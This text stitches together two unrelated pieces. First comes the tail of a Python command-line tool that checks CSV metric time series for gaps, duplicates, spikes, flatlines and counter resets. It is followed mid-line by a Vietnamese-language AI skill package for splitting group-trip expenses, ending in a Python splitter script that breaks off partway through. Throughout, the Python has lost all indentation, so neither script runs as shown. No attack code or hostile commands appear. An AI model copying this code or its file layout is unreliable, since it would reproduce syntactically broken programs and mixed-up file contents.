out_of_order timestamps that go backwards
missing empty, NaN, or non-numeric values
flatline the same value repeated for >= --flatline-points samples (stuck sensor/exporter)
spike robust outliers: |value - rolling median| / (1.4826 * MAD) >= --z (default 4);
if MAD is 0 the mean absolute deviation is used instead
reset a counter column that decreases (--counter col1,col2)
Timestamps: ISO 8601 (with Z or offset; naive = UTC) or Unix epoch seconds/milliseconds.
Usage:
python3 ts_check.py metrics.csv
python3 ts_check.py metrics.csv --time-col ts --cols cpu,latency_ms --interval 5m --z 5
python3 ts_check.py metrics.csv --counter requests_total --json
python3 ts_check.py --self-test
Exit code: 0 clean, 1 issues found, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import re
import statistics
import sys
class InputError(ValueError):
pass
def parse_ts(raw):
s = (raw or "").strip()
if not s:
raise InputError("empty timestamp")
if re.fullmatch(r"-?\d+(\.\d+)?", s):
v = float(s)
return v / 1000.0 if v > 1e11 else v
try:
t = dt.datetime.fromisoformat(s.replace("Z", "+00:00").replace(" ", "T", 1))
except ValueError:
raise InputError(f"unparseable timestamp {s!r}")
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.timestamp()
def parse_interval(s):
m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*(ms|s|m|h|d)?", s.strip())
if not m:
raise InputError(f"bad interval {s!r}; use e.g. 30s, 5m, 1h")
mult = {"ms": 0.001, "s": 1, None: 1, "m": 60, "h": 3600, "d": 86400}[m.group(2)]
return float(m.group(1)) * mult
def fmt_ts(ts):
return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def fmt_dur(sec):
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if sec >= size:
v = sec / size
return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
return f"{sec:g}s"
def to_float(raw):
s = (raw or "").strip()
if s == "" or s.lower() in ("nan", "null", "none", "na", "n/a", "-"):
return None
try:
v = float(s)
except ValueError:
return None
return None if math.isnan(v) or math.isinf(v) else v
def load(text, time_col=None, cols=None):
reader = csv.DictReader(io.StringIO(text))
if not reader.fieldnames:
raise InputError("CSV has no header row")
fields = [f.strip() for f in reader.fieldnames]
reader.fieldnames = fields
if time_col is None:
cands = [f for f in fields if f.lower() in ("timestamp", "time", "ts", "date", "datetime")]
time_col = cands[0] if cands else fields[0]
if time_col not in fields:
raise InputError(f"time column {time_col!r} not in header {fields}")
value_cols = cols or [f for f in fields if f != time_col]
for c in value_cols:
if c not in fields:
raise InputError(f"column {c!r} not in header {fields}")
rows = []
for i, r in enumerate(reader, start=2):
rows.append({"line": i, "ts": parse_ts(r.get(time_col)),
"raw": {c: r.get(c) for c in value_cols}})
if len(rows) < 3:
raise InputError("need at least 3 data rows")
return time_col, value_cols, rows
def rolling_robust(values, idx, window):
lo, hi = max(0, idx - window), min(len(values), idx + window + 1)
neigh = [values[j] for j in range(lo, hi) if j != idx and values[j] is not None]
if len(neigh) < 4:
return None, None
med = statistics.median(neigh)
mad = statistics.median(abs(v - med) for v in neigh)
scale = 1.4826 * mad
if scale == 0: # more than half the neighbours equal the median: fall back to mean absolute deviation
scale = 1.2533 * statistics.fmean(abs(v - med) for v in neigh)
if scale == 0: # perfectly flat neighbourhood: 1% of the level
scale = max(abs(med) * 0.01, 1e-9)
return med, scale
def check(text, time_col=None, cols=None, interval=None, z=4.0, window=6, flatline_points=6, counters=()):
time_col, value_cols, rows = load(text, time_col, cols)
issues = []
def add(kind, line, ts, col, detail):
issues.append({"kind": kind, "line": line, "time": fmt_ts(ts), "column": col, "detail": detail})
# order and duplicates (in file order)
seen = {}
for prev, cur in zip(rows, rows[1:]):
if cur["ts"] < prev["ts"]:
add("out_of_order", cur["line"], cur["ts"], time_col, f"goes back {fmt_dur(prev['ts'] - cur['ts'])} from line {prev['line']}")
for r in rows:
if r["ts"] in seen:
add("duplicate", r["line"], r["ts"], time_col, f"same timestamp as line {seen[r['ts']]}")
else:
seen[r["ts"]] = r["line"]
srt = sorted({r["ts"]: r for r in reversed(rows)}.values(), key=lambda r: r["ts"]) # first occurrence wins
diffs = [b["ts"] - a["ts"] for a, b in zip(srt, srt[1:]) if b["ts"] > a["ts"]]
if interval is None:
if not diffs:
raise InputError("cannot infer interval: all timestamps identical")
interval = statistics.median(diffs)
expected = int(round((srt[-1]["ts"] - srt[0]["ts"]) / interval)) + 1
missing_points = 0
for a, b in zip(srt, srt[1:]):
d = b["ts"] - a["ts"]
if d > 1.5 * interval:
n = int(round(d / interval)) - 1
missing_points += n
add("gap", b["line"], a["ts"], time_col, f"{fmt_dur(d)} without data after {fmt_ts(a['ts'])} (~{n} missing)")
stats = {}
for c in value_cols:
vals = [to_float(r["raw"][c]) for r in srt]
for r, v in zip(srt, vals):
if v is None:
add("missing", r["line"], r["ts"], c, f"value {r['raw'][c]!r} is empty or not numeric")
# flatline runs
run_start = 0
for i in range(1, len(vals) + 1):
if i < len(vals) and vals[i] is not None and vals[i] == vals[run_start]:
continue
length = i - run_start
if vals[run_start] is not None and length >= flatline_points:
r0, r1 = srt[run_start], srt[i - 1]
add("flatline", r0["line"], r0["ts"], c, f"value {vals[run_start]:g} repeated {length}x until {fmt_ts(r1['ts'])}")
run_start = i
if c in counters:
for i in range(1, len(vals)):
if vals[i] is not None and vals[i - 1] is not None and vals[i] < vals[i - 1]:
add("reset", srt[i]["line"], srt[i]["ts"], c, f"counter dropped {vals[i - 1]:g} -> {vals[i]:g} (restart or wrap)")
else:
for i, v in enumerate(vals):
if v is None:
continue
med, scale = rolling_robust(vals, i, window)
if med is None:
continue
score = abs(v - med) / scale
if score >= z:
add("spike", srt[i]["line"], srt[i]["ts"], c, f"{v:g} vs local median {med:g} (robust z {score:.1f})")
good = [v for v in vals if v is not None]
stats[c] = {"count": len(good), "min": min(good) if good else None, "max": max(good) if good else None,
"median": statistics.median(good) if good else None}
order = {"out_of_order": 0, "duplicate": 1, "gap": 2, "reset": 3, "missing": 4, "flatline": 5, "spike": 6}
issues.sort(key=lambda x: (order[x["kind"]], x["time"], x["column"]))
counts = {}
for it in issues:
counts[it["kind"]] = counts.get(it["kind"], 0) + 1
return {
"rows": len(rows), "time_column": time_col, "columns": value_cols,
"start": fmt_ts(srt[0]["ts"]), "end": fmt_ts(srt[-1]["ts"]),
"interval": fmt_dur(interval), "interval_seconds": interval,
"expected_points": expected, "missing_points": missing_points,
"completeness": round(100.0 * len(srt) / expected, 1) if expected else 100.0,
"stats": stats, "counts": counts, "issues": issues,
}
def to_markdown(r):
lines = ["# Time series check", "",
f"Rows: {r['rows']} Range: {r['start']} to {r['end']} Interval: {r['interval']}",
f"Completeness: {r['completeness']}% ({r['missing_points']} of {r['expected_points']} expected points missing)", "",
"| Column | Count | Min | Median | Max |", "|---|---|---|---|---|"]
for c, s in r["stats"].items():
f = lambda v: "-" if v is None else f"{v:g}"
lines.append(f"| {c} | {s['count']} | {f(s['min'])} | {f(s['median'])} | {f(s['max'])} |")
lines += ["", "## Issues"]
if not r["issues"]:
lines.append("No issues found.")
else:
lines.append("Totals: " + ", ".join(f"{k} {v}" for k, v in r["counts"].items()))
lines += ["", "| Kind | Time (UTC) | Column | Line | Detail |", "|---|---|---|---|---|"]
lines += [f"| {i['kind']} | {i['time']} | {i['column']} | {i['line']} | {i['detail']} |" for i in r["issues"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = 1760860800 # 2025-10-19T08:00:00Z
def csv_of(points, header="timestamp,value"):
return header + "\n" + "\n".join(f"{t},{v}" for t, v in points) + "\n"
wave = [10 + (i % 3) for i in range(30)]
clean = csv_of([(base + 60 * i, v) for i, v in enumerate(wave)])
r = check(clean)
ok("clean series has no issues", r["issues"] == [])
ok("interval inferred as 1m", r["interval"] == "1m")
ok("completeness 100%", r["completeness"] == 100.0)
gap_pts = [(base + 60 * i, v) for i, v in enumerate(wave) if not 10 <= i < 15]
r = check(csv_of(gap_pts))
ok("gap detected", r["counts"].get("gap") == 1)
ok("gap counts 5 missing points", r["missing_points"] == 5)
spiky = list(wave); spiky[20] = 95
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(spiky)]))
ok("spike detected", [i["line"] for i in r["issues"] if i["kind"] == "spike"] == [22])
flat = list(wave); flat[5:13] = [7] * 8
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(flat)]), z=100)
ok("flatline detected", r["counts"].get("flatline") == 1)
miss = [(base + 60 * i, ("" if i == 4 else "NaN" if i == 9 else v)) for i, v in enumerate(wave)]
ok("missing values detected", check(csv_of(miss)).get("counts").get("missing") == 2)
dup = [(base + 60 * i, v) for i, v in enumerate(wave)]
dup.insert(6, dup[5])
ok("duplicate detected", check(csv_of(dup))["counts"].get("duplicate") == 1)
ooo = [(base + 60 * i, v) for i, v in enumerate(wave)]
ooo[7], ooo[8] = ooo[8], ooo[7]
ok("out of order detected", check(csv_of(ooo))["counts"].get("out_of_order") == 1)
counter = [(base + 60 * i, 100 * i if i < 20 else 100 * (i - 20)) for i in range(30)]
r = check(csv_of(counter, "ts,requests_total"), counters=("requests_total",))
ok("counter reset detected", r["counts"].get("reset") == 1 and "spike" not in r["counts"])
iso_rows = "time,cpu\n" + "\n".join(f"2026-10-19T08:{i:02d}:00Z,{40 + (i % 2)}" for i in range(0, 60, 5)) + "\n"
r = check(iso_rows)
ok("ISO timestamps and 5m interval", r["interval"] == "5m" and r["issues"] == [])
ms_rows = csv_of([((base + 30 * i) * 1000, v) for i, v in enumerate(wave)])
ok("epoch milliseconds accepted", check(ms_rows)["interval"] == "30s")
r = check(clean, interval=30.0)
ok("explicit 30s interval flags every 1m step as a gap", r["counts"].get("gap") == 29 and r["completeness"] < 60)
jitter = csv_of([(base + 60 * i + (3 if i % 2 else -2), v) for i, v in enumerate(wave)])
ok("small timestamp jitter is not a gap", "gap" not in check(jitter)["counts"])
multi = "timestamp,a,b\n" + "\n".join(f"{base + 60 * i},{wave[i]},{wave[i] * 2 if i != 12 else 500}" for i in range(30)) + "\n"
r = check(multi, cols=["a", "b"])
ok("multi-column spike only in b", {i["column"] for i in r["issues"]} == {"b"})
for bad, label in (("timestamp,value\n1,2\n", "too few rows rejected"),
("timestamp,value\nyesterday,1\ntoday,2\nnow,3\n", "bad timestamp rejected")):
try:
check(bad)
ok(label, False)
except InputError:
ok(label, True)
ok("markdown renders", "## Issues" in to_markdown(check(clean)))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Find gaps, duplicates, flatlines, spikes, and counter resets in CSV metrics.")
ap.add_argument("csv", nargs="?", help="CSV file, or '-' for stdin")
ap.add_argument("--time-col")
ap.add_argument("--cols", help="comma-separated value columns (default: all except the time column)")
ap.add_argument("--interval", help="expected spacing, e.g. 30s, 5m, 1h (default: median spacing)")
ap.add_argument("--z", type=float, default=4.0, help="robust z-score threshold for spikes (default 4)")
ap.add_argument("--window", type=int, default=6, help="neighbours on each side for the rolling median (default 6)")
ap.add_argument("--flatline-points", type=int, default=6)
ap.add_argument("--counter", default="", help="comma-separated monotonic counter columns (checked for resets, not spikes)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.csv:
ap.error("csv path required (or --self-test)")
try:
text = sys.stdin.read() if a.csv == "-" else open(a.csv, encoding="utf-8-sig").read()
r = check(text, a.time_col, [c.strip() for c in a.cols.split(",")] if a.cols else None,
parse_interval(a.interval) if a.interval else None, a.z, a.window, a.flatline_points,
tuple(c.strip() for c in a.counter.split(",") if c.strip()))
except (OSError, InputError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["issues"] else 0
if __name__ == "__main__":
sys.exit(main())Chia các khoản chi phí chung cho một chuyến đi nhóm, ở ghép hoặc sự kiện: chia đều, chia theo nhóm nhỏ, chia theo trọng số hoặc chia số tiền chính xác, hỗ trợ nhiều loại tiền tệ với tỷ giá xác định và các khoản đã hoàn trả trước đó, tất cả đều tính bằng đơn vị xu nguyên (integer cents) để tổng số tiền luôn khớp hoàn toàn. Tạo bảng số dư của từng người và danh sách ngắn gọn "ai trả cho ai" (tối đa ít hơn tổng số người một giao dịch chuyển tiền). Sử dụng khi bạn bè hỏi "ai nợ ai bao nhiêu?" sau một chuyến đi hoặc một tháng ở ghép. Bao gồm công cụ chia tiền bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
name: group-trip-expense-splitter
description: Chia các khoản chi phí chung cho một chuyến đi nhóm, ở ghép hoặc sự kiện: chia đều, chia theo nhóm nhỏ, chia theo trọng số hoặc chia số tiền chính xác, hỗ trợ nhiều loại tiền tệ với tỷ giá xác định và các khoản đã hoàn trả trước đó, tất cả đều tính bằng đơn vị xu nguyên (integer cents) để tổng số tiền luôn khớp hoàn toàn. Tạo bảng số dư của từng người và danh sách ngắn gọn "ai trả cho ai" (tối đa ít hơn tổng số người một giao dịch chuyển tiền). Sử dụng khi bạn bè hỏi "ai nợ ai bao nhiêu?" sau một chuyến đi hoặc một tháng ở ghép. Bao gồm công cụ chia tiền bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
# Công cụ Chia Chi phí Chuyến đi Nhóm
Bạn giúp một nhóm quyết toán các khoản chi phí chung một cách công bằng và không gây tranh cãi. Bạn thu thập thông tin về những gì đã mua, ai đã trả tiền và khoản chi đó dành cho ai, quy đổi tiền tệ theo tỷ giá đã thống nhất, tính toán số dư của từng người chính xác đến từng xu và đề xuất danh sách ngắn gọn các khoản thanh toán (không bao giờ vượt quá tổng số người trừ một) để mọi người đều sòng phẳng. Bạn giải thích rõ ràng mọi con số để bất kỳ ai trong nhóm cũng có thể kiểm tra lại.
## Các tệp trong kỹ năng này
- `scripts/split_expenses.py` - tính toán số tiền đã chi, phần phải đóng góp và số dư ròng của từng người cùng các giao dịch chuyển tiền quyết toán; hỗ trợ các mục chia đều (equal), chia trong nhóm nhỏ (among), chia theo phần/trọng số (shares), chia chính xác (exact) và chuyển trả trực tiếp (transfer_to) (chỉ sử dụng thư viện chuẩn Python 3)
- `references/splitting-rules.md` - cách chọn phương thức chia cho từng loại chi phí và xử lý các trường hợp ngoại lệ phổ biến
- `references/currency-and-rounding.md` - nên sử dụng tỷ giá hối đoái nào, phí thẻ và cách làm tròn số xu
- `templates/settle-up-summary.md` - bản tóm tắt để dán vào nhóm trò chuyện
- `examples/trip.json` - ví dụ chuyến đi cuối tuần của 4 người có một bữa tối có người vắng mặt, vé sinh viên, đồ uống tính theo số lượng, chi phí bằng USD và GBP, cùng một khoản hoàn trả bằng tiền mặt
## Quy trình thực hiện
### 1. Thu thập các khoản chi phí
Hỏi thông tin về: danh sách các thành viên, loại tiền tệ dùng để quyết toán, và đối với mỗi khoản chi phí: mô tả, số tiền, loại tiền tệ, người đã trả tiền và những người thụ hưởng khoản chi đó. Chấp nhận cả danh sách lộn xộn hoặc hóa đơn rồi chuyển đổi thành cấu trúc JSON như trong `examples/trip.json`. Hỏi về các khoản tiền đã trao tay trước đó (tiền mặt đưa trực tiếp, các khoản trả trước một phần) và ghi nhận chúng dưới dạng `transfer_to`.
### 2. Chọn cách chia cho từng khoản mục
Mặc định là chia đều cho tất cả mọi người. Sử dụng `among` cho các chi phí chỉ một số người tham gia, `shares` cho trường hợp "Jonas uống hai ly còn Maya uống một ly", và `exact` cho các hóa đơn tách riêng từng món. Xem `references/splitting-rules.md` và xác nhận lại các khoản mục chưa rõ ràng với nhóm thay vì tự đoán.
### 3. Thiết lập tỷ giá tiền tệ
Thống nhất một tỷ giá cho mỗi loại tiền tệ (tỷ giá trên sao kê thẻ hoặc tỷ giá công bố vào một ngày xác định) và đưa vào trường `rates` theo quy ước "1 đơn vị = X đơn vị tiền tệ quyết toán". Xem `references/currency-and-rounding.md`.
### 4. Chạy công cụ chia tiền
```
python3 scripts/split_expenses.py examples/trip.json
python3 scripts/split_expenses.py trip.json --json > settle.json
python3 scripts/split_expenses.py --self-test
```
Thoát với mã lỗi 2 kèm thông báo rõ ràng nếu gặp tên người lạ chưa khai báo, thiếu tỷ giá, số tiền âm hoặc các khoản chia chính xác (`exact`) có tổng không khớp với hóa đơn.
### 5. Chia sẻ kết quả
Điền vào mẫu `templates/settle-up-summary.md`: tổng chi tiêu, số tiền đã trả/phần đóng góp/số dư ròng của từng người, danh sách các giao dịch chuyển tiền và tỷ giá đã áp dụng. Giữ nội dung đủ ngắn gọn để gửi vào nhóm trò chuyện và đề nghị cung cấp bảng chi tiết toàn bộ chi phí nếu có người yêu cầu.
## Quy tắc
- Không bao giờ tự đoán xem những ai cùng chia sẻ một khoản chi phí; hãy hỏi lại, hoặc chia đều và nêu rõ điều đó.
- Tổng số tiền phải khớp chính xác đến từng xu; nêu rõ ai là người nhận các xu lẻ do làm tròn.
- Hiển thị rõ tỷ giá hối đoái và nguồn của chúng; không âm thầm tự tra cứu tỷ giá trực tuyến.
- Giữ thái độ trung lập: chỉ trình bày các con số, không đưa ra phán xét về việc ai tiêu nhiều hơn.
- Không xử lý thông tin xác thực thanh toán hoặc thực hiện chuyển tiền; chỉ liệt kê ai cần trả cho ai.
FILE:references/splitting-rules.md
# Quy tắc Chia tiền và Các Trường hợp Ngoại lệ
## Chọn phương thức chia
| Tình huống | Phương thức | Ví dụ |
|---|---|---|
| Tất cả mọi người đều sử dụng | equal (mặc định) | chỗ ở, thuê xe, mua đồ tạp hóa dùng chung |
| Chỉ một số người tham gia | `among` | bữa tối có một người không ăn, tour tham quan chỉ hai người đi |
| Mức độ sử dụng không đồng đều cho cùng một thứ | `shares` | đồ uống, số đêm lưu trú (3 đêm so với 2 đêm), tiền xăng theo quãng đường |
| Hóa đơn tách từng món hoặc mức giá khác nhau | `exact` | vé sinh viên so với vé người lớn, các món gọi riêng trên thực đơn |
| Tiền đã trao tay trước đó | `transfer_to` | tiền mặt trả lại, khoản chuyển khoản ngân hàng trong chuyến đi |
## Các trường hợp ngoại lệ
- **Có người đến muộn hoặc về sớm.** Sử dụng `shares` tính theo số đêm cho chi phí chỗ ở (ví dụ: 3, 3, 2, 3).
- **Cặp đôi hoặc gia đình gộp chung làm một đầu thanh toán.** Có thể liệt kê họ như một người duy nhất, hoặc giữ riêng từng người và chia cho trẻ em phần nhỏ hơn theo thỏa thuận của nhóm.
- **Tiền đặt cọc và hoàn tiền.** Số tiền phải luôn là số dương, vì vậy hãy trừ khoản tiền hoàn lại vào chi phí gốc ban đầu. Nếu tiền hoàn lại được chuyển cho một người khác không phải người trả tiền ban đầu, hãy thêm một mục `transfer_to` từ người trả tiền ban đầu sang người nhận tiền hoàn với đúng số tiền đó, để khoản tiền họ đang giữ được tính vào phần của họ.
- **Tiền boa (tips) và phí dịch vụ.** Chia theo đúng tỷ lệ của hóa đơn mà chúng đi kèm.
- **Quà tặng cho một thành viên (bữa tối sinh nhật).** Sử dụng `among` gồm tất cả mọi người ngoại trừ nhân vật chính được tặng.
- **Quỹ chung (shared kitty / common pot).** Coi người giữ quỹ là người trả tiền cho mọi thứ mua bằng quỹ đó và thêm mỗi khoản đóng góp vào quỹ dưới dạng một mục `transfer_to` chuyển cho người giữ quỹ.
- **Đồ dùng cá nhân nằm chung trong hóa đơn tập thể.** Tách hóa đơn thành hai mục: phần dùng chung (chia đều) và phần cá nhân (`exact` tính riêng cho người đó).
## Kiểm tra tính công bằng trước khi chia sẻ kết quả
1. Tổng phần đóng góp của tất cả mọi người bằng đúng tổng số tiền đã chi.
2. Mọi khoản chi phí đều có người trả tiền là thành viên thực sự tham gia.
3. Phần đóng góp của bất kỳ ai cũng không bao gồm những thứ họ đã từ chối rõ ràng từ trước.
4. Cả nhóm đã đồng thuận về tỷ giá và mọi khoản chia không đồng đều.
FILE:references/currency-and-rounding.md
# Tiền tệ và Làm tròn
## Chọn tỷ giá hối đoái
- **Tốt nhất:** tỷ giá trên sao kê thẻ hoặc ngân hàng của người trả tiền cho giao dịch đó, bao gồm cả phí giao dịch ngoại tệ (nếu có), vì đó là số tiền thực tế họ đã phải trả.
- **Đơn giản:** một tỷ giá công bố chung (ví dụ: tỷ giá tham chiếu của ngân hàng trung ương) vào một ngày xác định áp dụng cho toàn bộ chuyến đi.
- **Tiền mặt đổi tại quầy thu đổi ngoại tệ:** tỷ giá thực tế lúc mua số tiền mặt đó.
Viết tỷ giá theo dạng "1 đơn vị ngoại tệ = X đơn vị tiền tệ quyết toán": `"USD": 0.92` nghĩa là 1 USD = 0.92 EUR.
## Các loại phí
- Phí giao dịch ngoại tệ qua thẻ (thường từ 1-3%) là chi phí thực tế phát sinh của khoản mua sắm chung; hãy cộng chúng vào số tiền chi phí nếu cả nhóm đồng ý.
- Phí chuyển tiền khi quyết toán (phí chuyển khoản ngân hàng hoặc ứng dụng) thường do người gửi tự chịu.
## Làm tròn đến hàng xu (cent)
1. Mỗi khoản chi phí được quy đổi và làm tròn một lần (làm tròn nửa lên - half up) thành số xu nguyên.
2. Số tiền được chia theo trọng số; mỗi người nhận phần xu nguyên từ phần chia chính xác của mình.
3. Các xu lẻ còn dư (tối đa mỗi người một xu) sẽ được phân bổ cho những người có phần thập phân dư lớn nhất, nếu bằng nhau thì xét theo thứ tự bảng chữ cái của tên.
Cách này giúp mọi khoản chi phí đều khớp chính xác đến từng xu và kết quả luôn nhất quán khi chạy lại. Trong suốt một chuyến đi, chênh lệch làm tròn của mỗi người tối đa chỉ vài xu.
## Quyết toán bằng nhiều loại tiền tệ
Hãy quyết toán bằng một loại tiền tệ duy nhất nếu có thể. Nếu ai đó buộc phải thanh toán bằng một loại tiền tệ khác, hãy quy đổi khoản chuyển tiền cuối cùng của họ theo tỷ giá mà cả hai bên chấp nhận và ghi chú rõ trong bản tóm tắt.
FILE:templates/settle-up-summary.md
# Quyết toán chi phí - <tên chuyến đi hoặc sự kiện>
**Ngày:** <ngày tháng> **Thành viên:** <danh sách tên> **Tiền tệ quyết toán:** <loại tiền tệ>
**Tổng chi tiêu:** <số tiền> qua <n> khoản chi **Tỷ giá áp dụng:** <1 USD = 0.92 EUR (sao kê thẻ), ...>
## Bảng số dư
| Thành viên | Đã chi | Phần đóng góp | Số dư ròng (+ được nhận lại / - cần trả thêm) |
|---|---|---|---|
| | | | |
## Ai trả cho ai
- <tên> trả cho <tên> <số tiền>
- <tên> trả cho <tên> <số tiền>
## Ghi chú
- Các khoản chia không đều: <bữa tối không có Leo, vé sinh viên, đồ uống tính theo số lượng>
- Xu lẻ làm tròn được tính vào phần của: <danh sách tên>
- Đã thanh toán trước trong chuyến đi: <tiền mặt hoặc chuyển khoản>
## Tin nhắn gửi nhóm trò chuyện
> Tổng kết chi phí chuyến đi đã có rồi đây! Chúng ta đã chi tổng cộng <total> cùng nhau. Để quyết toán: <transfer 1>; <transfer 2>; <transfer 3>. Bảng kê chi tiết nằm ở tin nhắn bên dưới. Nếu thấy có gì chưa chuẩn thì báo lại trước ngày <date> nhé.
FILE:examples/trip.json
{
"trip": "Lisbon long weekend, 4 friends",
"currency": "EUR",
"rates": {"USD": 0.92, "GBP": 1.17},
"people": ["Maya", "Jonas", "Priya", "Leo"],
"expenses": [
{"desc": "Apartment, 3 nights", "amount": 486.00, "paid_by": "Maya"},
{"desc": "Airport taxi", "amount": 38.50, "paid_by": "Jonas"},
{"desc": "Groceries for breakfasts", "amount": 61.27, "paid_by": "Priya"},
{"desc": "Seafood dinner (Leo skipped)", "amount": 142.80, "paid_by": "Jonas", "among": ["Maya", "Jonas", "Priya"]},
{"desc": "Sintra day tour, booked online", "amount": 196.00, "currency": "USD", "paid_by": "Leo"},
{"desc": "Fado show (Priya and Leo have student tickets)", "amount": 84.00, "paid_by": "Maya", "exact": {"Maya": 25, "Jonas": 25, "Priya": 17, "Leo": 17}},
{"desc": "Wine and pastel de nata tasting", "amount": 72.00, "paid_by": "Priya", "shares": {"Maya": 1, "Jonas": 2, "Priya": 1, "Leo": 2}},
{"desc": "Tram and metro cards", "amount": 26.40, "currency": "GBP", "paid_by": "Leo"},
{"desc": "Cash Jonas already handed Maya on day 2", "amount": 30.00, "paid_by": "Jonas", "transfer_to": "Maya"}
]
}
FILE:scripts/split_expenses.py
#!/usr/bin/env python3
"""Group trip expense splitter and settle-up planner (Python 3 standard library only).
Input JSON:
{
"currency": "EUR", # settlement currency
"rates": {"USD": 0.92, "TRY": 0.027}, # 1 unit of key = rate units of settlement currency
"people": ["Ana", "Ben", "Cem", "Dee"],
"expenses": [
{"desc": "Villa", "amount": 1200, "paid_by": "Ana"}, # equal, everyone
{"desc": "Dinner", "amount": 180, "paid_by": "Ben", "among": ["Ana", "Ben", "Cem"]}, # equal, subset
{"desc": "Boat", "amount": 300, "currency": "USD", "paid_by": "Cem",
"shares": {"Ana": 2, "Ben": 1, "Cem": 1}}, # weighted
{"desc": "Museum", "amount": 54, "paid_by": "Dee", "exact": {"Dee": 18, "Ana": 36}}, # exact amounts
{"desc": "Ana pays Ben back", "amount": 50, "paid_by": "Ana", "transfer_to": "Ben"} # direct repayment
]
}
All math is done in integer cents. Rounding remainders go to participants in a fixed order (largest
fractional part first, then name), so totals always match to the cent and results are reproducible.
Settle-up uses a greedy largest-creditor / largest-debtor match, which needs at most n-1 transfers.
Usage:
python3 split_expenses.py trip.json
python3 split_expenses.py trip.json --json
python3 split_expenses.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import json
import sys
from decimal import Decimal, ROUND_HALF_UP
class SplitError(ValueError):
pass
def to_cents(amount, rate=Decimal(1)):
try:
d = Decimal(str(amount)) * Decimal(str(rate)) * 100
except Exception:
raise SplitError(f"bad amount {amount!r}")
return int(d.quantize(Decimal(1), rounding=ROUND_HALF_UP))
def fmt(cents, cur):
sign = "-" if cents < 0 else ""
return f"{sign}{abs(cents) // 100:,}.{abs(cents) % 100:02d} {cur}"
def allocate(total, weights):
"""Split integer total by weights {name: weight}; largest-remainder method, ties by name."""
wsum = sum(weights.values())
if wsum <= 0:
raise SplitError("weights must sum to more than zero")
raw = {n: Decimal(total) * Decimal(str(w)) / Decimal(str(wsum)) for n, w in weights.items()}
base = {n: int(v) for n, v in raw.items()}
left = total - sum(base.values())
order = sorted(weights, key=lambda n: (-(raw[n] - base[n]), n))
for n in order[:left]:
base[n] += 1
return base
def compute(data):
cur = data.get("currency") or "EUR"
rates = {k.upper(): v for k, v in (data.get("rates") or {}).items()}
people = data.get("people") or []
if len(people) < 2:
raise SplitError("need at least two people")
if len(set(people)) != len(people):
raise SplitError("duplicate names in people")
known = set(people)
paid = {p: 0 for p in people}
owed = {p: 0 for p in people}
lines = []
for i, e in enumerate(data.get("expenses") or [], start=1):
desc = e.get("desc") or f"expense {i}"
payer = e.get("paid_by")
if payer not in known:
raise SplitError(f"{desc}: paid_by {payer!r} is not in people")
ecur = (e.get("currency") or cur).upper()
if ecur == cur.upper():
rate = 1
elif ecur in rates:
rate = rates[ecur]
else:
raise SplitError(f"{desc}: no rate for {ecur} -> {cur}; add it to 'rates'")
total = to_cents(e.get("amount"), rate)
if total <= 0:
raise SplitError(f"{desc}: amount must be positive")
modes = [k for k in ("among", "shares", "exact", "transfer_to") if k in e]
if len(modes) > 1:
raise SplitError(f"{desc}: use only one of among / shares / exact / transfer_to")
if "transfer_to" in e:
to = e["transfer_to"]
if to not in known or to == payer:
raise SplitError(f"{desc}: transfer_to must be another person")
split = {to: total}
elif "exact" in e:
ex = e["exact"]
for n in ex:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = {n: to_cents(v, rate) for n, v in ex.items()}
diff = total - sum(split.values())
if abs(diff) > len(split): # allow only currency-conversion rounding
raise SplitError(f"{desc}: exact amounts add up to {fmt(sum(split.values()), cur)}, not {fmt(total, cur)}")
if diff:
split[sorted(split)[0]] += diff
elif "shares" in e:
sh = e["shares"]
for n, w in sh.items():
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
if float(w) < 0:
raise SplitError(f"{desc}: negative share for {n}")
split = allocate(total, {n: w for n, w in sh.items() if float(w) > 0})
else:
among = e.get("among") or people
for n in among:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = allocate(total, {n: 1 for n in among})
paid[payer] += total
for n, c in split.items():
owed[n] += c
lines.append({"desc": desc, "paid_by": payer, "amount": total, "original": f"{e.get('amount')} {ecur}",
"split": split, "kind": modes[0] if modes else "equal"})
net = {p: paid[p] - owed[p] for p in people}
assert sum(net.values()) == 0, "internal error: balances do not sum to zero"
return {"currency": cur, "people": people, "expenses": lines, "paid": paid, "owed": owed,
"net": net, "transfers": settle(net),
"total_spent": sum(l["amount"] for l in lines if l["kind"] != "transfer_to")}
def settle(net):
cred = sorted([[c, n] for n, c in net.items() if c > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([[-c, n] for n, c in net.items() if c < 0], key=lambda x: (-x[0], x[1]))
out = []
while cred and debt:
amt = min(cred[0][0], debt[0][0])
out.append({"from": debt[0][1], "to": cred[0][1], "amount": amt})
cred[0][0] -= amt
debt[0][0] -= amt
cred = sorted([x for x in cred if x[0] > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([x for x in debt if x[0] > 0], key=lambda x: (-x[0], x[1]))
return out
def to_markdown(r):
c = r["currency"]
lines = ["# Trip settle-up", "", f"Total spent: {fmt(r['total_spent'], c)} across {len([e for e in r['expenses'] if e['kind'] != 'transfer_to'])} expenses", "",
"## Expenses", "| # | Expense | Paid by | Amount | Split |", "|---|---|---|---|---|"]
for i, e in enumerate(r["expenses"], 1):
